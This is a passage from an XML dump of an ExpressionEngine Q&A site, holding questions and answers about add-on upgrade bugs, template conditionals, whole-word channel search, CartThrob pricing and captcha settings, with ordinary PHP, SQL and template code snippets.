src=&quot;https://i.stack.imgur.com/Tw0Ih.jpg&quot; alt=&quot;publish page screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-03-23T17:15:00.000" Title="Matrix 2.5.3 with Assets 2.0.5 - not behaving correctly" Tags="|assets|matrix|php-errors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7617" PostTypeId="1" AcceptedAnswerId="7620" CreationDate="2013-03-21T23:59:37.817" Score="0" ViewCount="163" Body="&lt;p&gt;I need multiple-domain support, some e-commerce catalog, uploading files from users and some forum feauteres in future. Is it good choice for this tasks?&#xA;Why not Drupal, or Modx, or wordpress - for free?&#xA;Any ExpressionEngine advantages?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2013-03-22T03:05:00.493" Title="Why ExpressionEngine?" Tags="|ee2|multi-site-manager|ecommerce|multi-language|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-22T04:17:41.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="7618" PostTypeId="2" ParentId="7616" CreationDate="2013-03-22T01:03:21.123" Score="2" Body="&lt;p&gt;you've posted a few problems here.  Can we focus on the Matrix issue first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you delete and re-upload /themes/third_party/matrix?  Usually if you can't see some options showing up, then the issue is the themes folder.  I'm curious how much of this will fall into place if the themes are for sure fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what FTP client are you using? And what kind of server is it? PHP, MySQL, Apache or IIS?  Those things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-22T01:03:21.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7619" PostTypeId="2" ParentId="5169" CreationDate="2013-03-22T02:39:59.380" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Alternatively, you could use JavaScript and perform some validation on&#xA;  the front end that passes the url_title to an AJAX request that&#xA;  ultimately does a query like the option above. You could take that&#xA;  response and determine whether to prevent the form submission and&#xA;  notify the user if that url_title is taken or continue as normal if&#xA;  the url_title is not taken.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's sort of what I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also check for a maximum character length of 50 (EE has a &lt;a href=&quot;http://ellislab.com/forums/viewthread/208448/#969509&quot; rel=&quot;nofollow&quot;&gt;url_title char length of 75&lt;/a&gt; I believe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I use the following in a template with php on input to check if the url_title exists&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*(Assuming segment_3 contains your url_title):*&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;amp;&amp;amp; ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest')){&#xA;    $seg3 = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3);&#xA;    if(isset($seg3) &amp;amp;&amp;amp; ($seg3 != '')){&#xA;        $shopurl = utf8_decode($seg3);&#xA;        $length = strlen(utf8_decode($shopurl));&#xA;        $shopurl = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($seg3);&#xA;        $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT count(url_title) AS count FROM exp2_channel_titles WHERE channel_id = '17' AND url_title = '$shopurl'&quot;);&#xA;        $count = $query-&amp;gt;row('count');&#xA;        if($length &amp;gt;= '51'){&#xA;?&amp;gt;&#xA;    &amp;lt;div id=&quot;shopUrlMessage&quot; class=&quot;userMessageSmall userMessageError shopUrlTaken&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            Please choose a shorter name.&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;? } if($length &amp;lt; '51' &amp;amp;&amp;amp; $count != '0'){?&amp;gt;&#xA;    &amp;lt;div id=&quot;shopUrlMessage&quot; class=&quot;userMessageSmall userMessageError shopUrlTaken&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            Sorry that name is taken.&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;? } if($length &amp;lt; '51' &amp;amp;&amp;amp; $count == '0') {?&amp;gt;&#xA;    &amp;lt;div id=&quot;shopUrlMessage&quot; class=&quot;userMessageSmall userMessageSuccess&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            Hooray! That name is available.&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;? } }&#xA;} else {&#xA;    exit('No direct script access allowed');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="291" LastActivityDate="2013-03-22T02:39:59.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7620" PostTypeId="2" ParentId="7617" CreationDate="2013-03-22T03:05:00.493" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I need multiple-domain support, some e-commerce catalog, uploading&#xA;  files from users and some forum feauteres in future. Is it good choice&#xA;  for this tasks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, ExpressionEngine can do all those tasks, although for multi-domain support you will probably need the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;Multiple Site Manager&lt;/a&gt; (available for &lt;a href=&quot;https://store.ellislab.com/&quot; rel=&quot;nofollow&quot;&gt;purchase&lt;/a&gt; separately) , and for the ecommerce you will probably need third party software. &lt;a href=&quot;http://cartthrob.com/site/compare&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are &lt;a href=&quot;https://exp-resso.com/store/comparison&quot; rel=&quot;nofollow&quot;&gt;a few&lt;/a&gt; options you can &lt;a href=&quot;http://www.brilliantretail.com&quot; rel=&quot;nofollow&quot;&gt;compare&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why not Drupal, or Modx, or wordpress - for free? Any ExpressionEngine&#xA;  advantages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use whatever tool best fits the job. I usually choose ExpressionEngine because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;It has a great combination of power and flexibility.&lt;/strong&gt; You can build&#xA;almost anything with it, by defining you own custom fields. It makes&#xA;no assumptions about the architecture of your site. It fits in around&#xA;your needs, not the other way round.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am primarily a content creator, graphic designer and front-end dev.&#xA;I'm not a heavy-duty programmer. &lt;strong&gt;ExpressionEngine's template tag&#xA;syntax is easy to learn and understand&lt;/strong&gt; (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anything that ExpressionEngine can't do out-of-the-box, can be done with &lt;strong&gt;add-ons, of which there are many&lt;/strong&gt; (both free and paid). Check out &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;The ExpressionEngine community&lt;/strong&gt; are a fantastic, active, and helpful bunch. Because it's a commercial product, &lt;strong&gt;it's supported&lt;/strong&gt;, so anything the community can't help you with, &lt;a href=&quot;http://ellislab.com/support&quot; rel=&quot;nofollow&quot;&gt;EllisLab can&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="291" LastActivityDate="2013-03-22T03:05:00.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7621" PostTypeId="2" ParentId="7607" CreationDate="2013-03-22T03:13:47.340" Score="2" Body="&lt;p&gt;I haven't used the active variable before so I'm not sure why it's not working with pagination, however you should be able to use the segment variable in your conditional instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if category_url_title == segment_4}{category_name}{/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-03-22T03:13:47.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7622" PostTypeId="1" CreationDate="2013-03-22T04:15:20.823" Score="1" ViewCount="83" Body="&lt;p&gt;After upgrading from Matrix 2.4.3 to 2.5.3 on EE 2.5.5, P&amp;amp;T Dropdowns (1.0.3) used within Matrix fields are no longer parsing in templates. They simply return nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing looks out of place in the CP following the upgrade and I'm not receiving any errors. I haven't touched my template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried removing a matrix row from one of my Channel Entries, saving it empty and then re-inputing the value with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2013-03-22T16:49:43.517" Title="After Upgrading Matrix 2.4.3 → 2.5.3 P&amp;T Dropdown Fields Fail in Templates" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7623" PostTypeId="2" ParentId="7573" CreationDate="2013-03-22T04:43:13.020" Score="0" Body="&lt;p&gt;Try adding &quot;Can access TOOLS section&quot; to the permissions for the member group.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-22T04:43:13.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7624" PostTypeId="2" ParentId="7613" CreationDate="2013-03-22T04:55:13.823" Score="3" Body="&lt;p&gt;In additional what Anna said - sometimes this can be more simple to do with sql request:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to&#xA;&lt;strong&gt;CP -&gt;Tools -&gt; Data -&gt; SQL Manager -&gt; Database Query Form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_members SET language=&quot;german&quot; WHERE group_id = YOUR_GROUP_ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-03-22T04:55:13.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7625" PostTypeId="2" ParentId="7622" CreationDate="2013-03-22T06:14:43.413" Score="0" Body="&lt;p&gt;I'd try upgrading to the latest version of &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Field Pack on github&lt;/a&gt; (version 1.1). I tried it out and this version of P&amp;amp;T Dropdowns works on EE 2.5.5 for me. If that still doesn't work on your install, please post your field settings and template code.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-03-22T06:14:43.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7626" PostTypeId="2" ParentId="7598" CreationDate="2013-03-22T07:31:00.927" Score="2" Body="&lt;p&gt;For a normal conditional to work you would have to write it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id == &quot;4333&quot; || logged_in_member_id == &quot;3871&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However that's not very flexible and isn't going to work with a piped list of IDs. I've written a custom plugin in the past to solve a similar issue. There's a plugin called &lt;a href=&quot;http://devot-ee.com/add-ons/pvl-check-if&quot; rel=&quot;nofollow&quot;&gt;Pvl Check If&lt;/a&gt; on Devot:ee that I think would work in this situation. Your code using the plugin would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:pvl_checkif value=&quot;{logged_in_member_id}&quot; is_in=&quot;{members_field}{id}|{/members_field}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;p&amp;gt;Yes Sir!&amp;lt;/p&amp;gt;&#xA;{else}&#xA;    &amp;lt;p&amp;gt;No Sir!&amp;lt;/p&amp;gt;&#xA;{/exp:pvl_checkif}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how the variable pair will go inside the plugin parameter... you may need to play around with it a bit. Perhaps try with hardcoded values first.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-03-22T07:31:00.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7627" PostTypeId="2" ParentId="7082" CreationDate="2013-03-22T07:56:22.327" Score="1" Body="&lt;p&gt;You need to configure a price modifier fieldtype as part of your product channel entry. You then populate this field with all the different colours and prices available for each configurable product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template, you can then use code similar to this (lifted from the docs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; url_title=&quot;{segment_3}&quot;}&#xA;&#xA;  {exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; }&#xA;        {select} &#xA;            &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_name} {price}&amp;lt;/option&amp;gt;&#xA;        {/select}&#xA;    {/exp:cartthrob:item_options}&#xA;&#xA;  {/exp:cartthrob:add_to_cart_form}&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how cartthrob gives you the &lt;code&gt;{select}&lt;/code&gt; tag to help with generating the dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help, but if not, there is some great documentation here: &lt;a href=&quot;http://cartthrob.com/docs/tutorials/using_price_modifiers_and_product_options/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tutorials/using_price_modifiers_and_product_options/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joe&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2013-03-22T07:56:22.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7628" PostTypeId="1" AcceptedAnswerId="7637" CreationDate="2013-03-22T08:06:17.657" Score="3" ViewCount="203" Body="&lt;p&gt;I need to display entries by searching a custom field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; search:my_field=&quot;#{segment_2}\W&quot; limit=&quot;20&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;strong&gt;#&lt;/strong&gt; sign. I'm specifically searching for hashtags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I leave off the &lt;strong&gt;\W&lt;/strong&gt; it works just fine.  But it does not always return the exact words – (eg. &lt;em&gt;#cat&lt;/em&gt; also returns &lt;em&gt;#catnap&lt;/em&gt;) – exactly as you'd expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I really need that whole word feature to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I've traced the breaking point down to the code below (approx. line 1145-1155 in mod.channel.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif (strpos($term, '\W') !== FALSE) // full word only, no partial matches&#xA;    {&#xA;    // Note: MySQL's nutty POSIX regex word boundary is [[:&amp;gt;:]]&#xA;    $term = '([[:&amp;lt;:]]|^)'.preg_quote(str_replace('\W', '', $term)).'([[:&amp;gt;:]]|$)';&#xA;&#xA;    $fields_sql .= ' (wd.site_id=' . $site_id &#xA;    . ' AND wd.field_id_' . $this-&amp;gt;cfields[$site_id][$field_name] . ' ' . $not &#xA;    . ' REGEXP &quot;' . $this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($term).'&quot;) '&#xA;    . $andor;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone correct me if I'm wrong, but I think that REGEXP escape_str($term) bit is breaking it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looking for a workaround.  It would be best not to hack the code directly (of course), but this is the only time that function is being used on the site...  So I'm not totally opposed to hacking a fix right there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="831" LastActivityDate="2013-03-22T14:18:08.547" Title="Need a Hack: Channel Entries Search Parameter" Tags="|ee2|channel-entries|search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7629" PostTypeId="2" ParentId="7628" CreationDate="2013-03-22T08:24:11.727" Score="2" Body="&lt;p&gt;If you want to search for whole words only, (exact matching) you can use&lt;br&gt;&#xA;search:my_field=&quot;=#{segment_2}&quot; (note the extra = inside the quotes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-03-22T08:24:11.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7630" PostTypeId="2" ParentId="7600" CreationDate="2013-03-22T09:11:30.483" Score="1" Body="&lt;p&gt;It's almost certainly being caught in some form of spam filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a starting point, I suggest you sign up for a service such as &lt;a href=&quot;http://sendgrid.com/&quot; rel=&quot;nofollow&quot;&gt;SendGrid&lt;/a&gt; (free for up to 200 emails/day) rather than sending email directly from your server. This will help diagnose the issue as you can log into their web console and check the emails are actually being sent.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-22T09:11:30.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7631" PostTypeId="1" CreationDate="2013-03-22T11:39:57.607" Score="1" ViewCount="503" Body="&lt;p&gt;Latest version of FreeForm Pro 4.0.11&#xA;Version of EE is 2.4.0 (but I would only upgrade if I really really have to)&#xA;Freeform form made with Composer, captcha added. (But it wont appear on fronted)&#xA;Tried logging in/out, tried other browser/device as well&lt;/p&gt;&#xA;" OwnerUserId="358" LastEditorUserId="150" LastEditDate="2013-04-11T10:19:30.263" LastActivityDate="2013-04-11T10:19:30.263" Title="FreeForm Pro, Composer form not displaying Captcha, despite Show for logged_in = YES" Tags="|solspace-freeform|captcha|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7633" PostTypeId="2" ParentId="7606" CreationDate="2013-03-22T13:35:15.183" Score="1" Body="&lt;p&gt;Your best bet here is to leave the actual price calculation out of the entry itself, and instead do it in the template using the Volume data you pull from the product entry and your available Material entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd write a custom plugin (start with &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt;) that accepted the product's volume as a parameter, then grabbed a list of the materials and did the math in PHP, returning your list of prices for outputting in a dropdown or radio group with the &lt;code&gt;name&lt;/code&gt; of &lt;code&gt;price&lt;/code&gt;. (Make sure your CartThrob form has &lt;code&gt;allow_user_price=&quot;yes&quot;&lt;/code&gt; as a parameter.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some quick, untested code (will need to be modified for your particular setup obviously):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_prices()&#xA;{&#xA;    $vars = array();&#xA;    $volume = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('volume');&#xA;    $materials = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;        SELECT t.title as material_name, d.field_id_XX as material_price, d.field_id_XX as material_production_fee&#xA;        FROM exp_channel_titles t&#xA;        LEFT JOIN exp_channel_data d&#xA;        ON d.entry_id = t.entry_id&#xA;        WHERE t.channel_id = XX&#xA;    &quot;);&#xA;    foreach($materials-&amp;gt;result_array() as $material)&#xA;    {&#xA;        extract($material);&#xA;        $price = ($volume * $material_price) + $material_production_fee;&#xA;        $vars[] = array(&#xA;            'material' =&amp;gt; $material_name,&#xA;            'price' =&amp;gt; $price&#xA;        );&#xA;    }&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;price&quot;&amp;gt;&#xA;{exp:my_plugin:get_prices volume=&quot;{product_volume}&quot;}&#xA;    &amp;lt;option value=&quot;{price}&quot;&amp;gt;{material} ({price})&amp;lt;/option&amp;gt;&#xA;{/exp:my_plugin:get_prices}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-22T13:35:15.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7634" PostTypeId="1" AcceptedAnswerId="7636" CreationDate="2013-03-22T13:37:04.413" Score="12" ViewCount="627" Body="&lt;p&gt;Should I use {site_url}? I prefer to use relative paths in my templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/resources/glossary/category/{category_url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_url}/resources/glossary/category/{category_url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone could provide an argument of why one should be used over the other? Is it a personal preference thing? Should I always use {site_url}? Should I never use {site_url}? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reasoning for not using it is because I believe it takes less resources to use a relative path. Logically, one would think that because EE doesn't have to replace {site_url} with &lt;a href=&quot;http://www.example.com&quot;&gt;http://www.example.com&lt;/a&gt; in every template, the page would load faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using FocusLab Master Config on all of my sites.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-03-22T18:23:58.973" Title="Are there benefits to using {site_url} rather than a relative path?" Tags="|tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7635" PostTypeId="2" ParentId="7634" CreationDate="2013-03-22T14:02:02.750" Score="3" Body="&lt;p&gt;Speed wise I would go for the relative paths (less DNS lookups)&#xA;Also for java and css (minified) I would use relative paths. (major speed increase)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically if you are running one website with EE, I would go for relative paths.&#xA;Speed increase is not due to the fact that EE needs to enter the domain in every {site_url} tag. it's due to the DNS lookups/requests.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2013-03-22T14:02:02.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7636" PostTypeId="2" ParentId="7634" CreationDate="2013-03-22T14:04:48.533" Score="13" Body="&lt;p&gt;In most cases, using relative paths are fine, though you won't see any performance gain there (replacing global variables like &lt;code&gt;{site_url}&lt;/code&gt; is the tiniest of tasks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the cases where you do want a full URL generated, &lt;code&gt;{site_url}&lt;/code&gt; is not the best way to do it - instead, you should use &lt;code&gt;{path=&quot;&quot;}&lt;/code&gt;, &lt;code&gt;{permalink=&quot;&quot;}&lt;/code&gt;, &lt;code&gt;{title_permalink=&quot;&quot;}&lt;/code&gt;, etc. This way you'll never run into issues with slashed/unslashed URLs, and it's much cleaner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when would you want to use &lt;code&gt;{path}&lt;/code&gt;? If you have some parts of your site which run under SSL, this will prevent all of your nav links, etc, from being linked to with an &lt;code&gt;https&lt;/code&gt; URL when leaving those SSL-protected areas.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-22T14:04:48.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7637" PostTypeId="2" ParentId="7628" CreationDate="2013-03-22T14:18:08.547" Score="2" Body="&lt;p&gt;The problem stems from the opening pattern in the regex, &lt;code&gt;([[:&amp;lt;:]]|^)&lt;/code&gt;. That will return a match for either the start of a string or a word boundary. Here's the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/regexp.html&quot; rel=&quot;nofollow&quot;&gt;definition of a word boundary&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;[:&amp;lt;:]&lt;/code&gt; These markers  stand for word boundaries. They match the beginning and end of words, respectively. A word is a sequence of word characters that is not preceded by or followed by word characters. A word character is an alphanumeric character in the alnum class or an underscore (_).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As such searches will only perform reliably if your search terms begins with an alphanumeric character or an underscore. You can change this behaviour by switching the opening pattern to a specific character class. For example, instead of searching for strings starting with a word boundary you could search for strings preceded by a &lt;code&gt;[:space:]&lt;/code&gt;. Here's the definition of a space:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Space, tab, newline, and carriage return&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make this change replace this line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = '([[:&amp;lt;:]]|^)'.preg_quote(str_replace('\W', '', $term)).'([[:&amp;gt;:]]|$)';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = '([[:space:]]|^)'.preg_quote(str_replace('\W', '', $term)).'([[:&amp;gt;:]]|$)';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For your usage that should work nicely, but it wouldn't necessarily be a better default behaviour. Unfortunately there's no hook for rewriting channel entry queries, so this would need to be a core hack.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-22T14:18:08.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7638" PostTypeId="2" ParentId="7631" CreationDate="2013-03-22T15:33:28.450" Score="1" Body="&lt;p&gt;Sounds like you might need to enable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/captcha_preferences.html#require-captcha-with-logged-in-members&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;Require captcha with logged-in members?&lt;/strong&gt;&lt;/a&gt;&quot; settings in Captcha Preferences.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-22T15:33:28.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7639" PostTypeId="2" ParentId="7622" CreationDate="2013-03-22T16:49:43.517" Score="1" Body="&lt;p&gt;After further debugging the issue actually doesn't have anything to do with &lt;em&gt;P&amp;amp;T Dropdown&lt;/em&gt;, but rather the use of a &lt;code&gt;var_prefix&lt;/code&gt; name in a template that was identical to the Matrix field &lt;em&gt;short name&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Matrix 2.4.3 this didn't appear to be a problem (although I have now come to question why I had originally used a &lt;code&gt;var_prefix&lt;/code&gt; as it was unnecessary). In 2.5.3 this causes the template to stop processing when it encounters the Matrix field and doesn't report any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of what &lt;strong&gt;NOT&lt;/strong&gt; to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix var_prefix=&quot;matrix&quot;}&#xA;    {matrix:name}&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="974" LastActivityDate="2013-03-22T16:49:43.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7640" PostTypeId="1" AcceptedAnswerId="7641" CreationDate="2013-03-22T18:04:20.797" Score="3" ViewCount="198" Body="&lt;p&gt;I've set up three relationships in my products channel, pointing at...wait for it...the products channel. They're called also_like_1, 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my main template, inside my {exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot;} tag, I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if also_like_1 &amp;gt; ''}&#xA;&amp;lt;div id=&quot;alsolike&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;You May Also Like&amp;lt;/h3&amp;gt;&#xA;    {related_entries id=&quot;also_like_1&quot;}&#xA;    {embed=&quot;includes/productsummary&quot; prod=&quot;{entry_id}&quot;}&#xA;    {/related_entries}&#xA;{/if}&#xA;{if also_like_2 &amp;gt; ''}&#xA;    {related_entries id=&quot;also_like_2&quot;}&#xA;    